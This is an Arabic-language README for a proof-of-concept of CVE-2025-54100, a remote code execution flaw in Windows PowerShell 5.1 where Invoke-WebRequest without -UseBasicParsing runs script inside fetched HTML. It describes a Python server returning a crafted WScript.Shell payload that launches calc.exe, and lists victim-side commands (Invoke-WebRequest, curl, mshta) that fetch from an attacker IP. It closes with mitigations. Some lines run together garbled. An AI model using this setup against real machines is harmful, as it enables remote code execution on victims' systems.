
CVE-2025-54100(ثغرة تنفيذ تعليمات برمجية عن بُعد في PowerShell)
يوضح كيف يؤدي تحليل HTML الضار لـ CVE-2025-54100 إلى تنفيذ التعليمات البرمجية عن بُعد (RCE) في Windows PowerShell 5.1.
نوع الثغرة: خطر حقن الأوامر عند عدم استخدام Invoke-WebRequest لمعامل -UseBasicParsing
مستوى الخطورة: CVSS 7.8 (عالي)
السبب الجذري: تحليل استجابات HTML القائم على MSHTML يسمح بتنفيذ البرامج النصية (مثل ActiveXObject) وتشغيلها في سياق المستدعي
الأنظمة المتأثرة:
CVE-2025-54100.py بإرجاع حمولة HTML مصممة بعنايةWScript.Shell / Shell.Applicationcalc.exe لإظهار تنفيذ التعليمات البرمجية عن بُعدpython3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
ابدأ خدمة HTTP لإثبات المفهوم:
uvicorn app:app --host 0.0.0.0 --port 8888 --reload
على جهاز Windows المعرض للثغرة، لا تستخدم -UseBasicParsing، قم بتنفيذ الأوامر التالية:
# Invoke-WebRequest
Invoke-WebRequest -Uri "http://192.168.26.16:8888"
# curl (اسم مستعار في PowerShell)
curl http://192.168.26.16:8888
# mshta
mshta http://192.168.26.16:8888
تأكد من تطابق المنفذ مع تكوين الخادم. إذا كان النظام معرضًا للثغرة، سيتم تنفيذ البرنامج النصي المضمن عبر محلل MSHTML.
ملاحظة: قد تقوم بعض برامج مكافحة الفيروسات باعتراض هذا السلوك، حتى لو كانت ثغرة التحليل لا تزال قائمة.
calc.exe:
Invoke-WebRequest دون استخدام -UseBasicParsingتُستخدم هذه الخطوة للتحقق من متجه التنفيذ. في سيناريوهات الهجوم الحقيقية، قد يستخدم المهاجمون تقنيات التعتيم أو الالتفاف لتجاوز القيود الأمنية الافتراضية.

قامت Microsoft بإصلاح الثغرة في ديسمبر 2025:
تثبيت تحديثات أمان Windows في الوقت المناسب
استخدم دائمًا -UseBasicParsing، لتجنب تحليل MSHTML:
Invoke-WebRequest -Uri "http://<attacker-ip>:8888" -UseBasicParsing
الانتقال إلى PowerShell 7+ (pwsh)، لم يعد PowerShell Core يعتمد على MSHTML في التحليل، مما يتجنب المشكلة من الناحية المعمارية.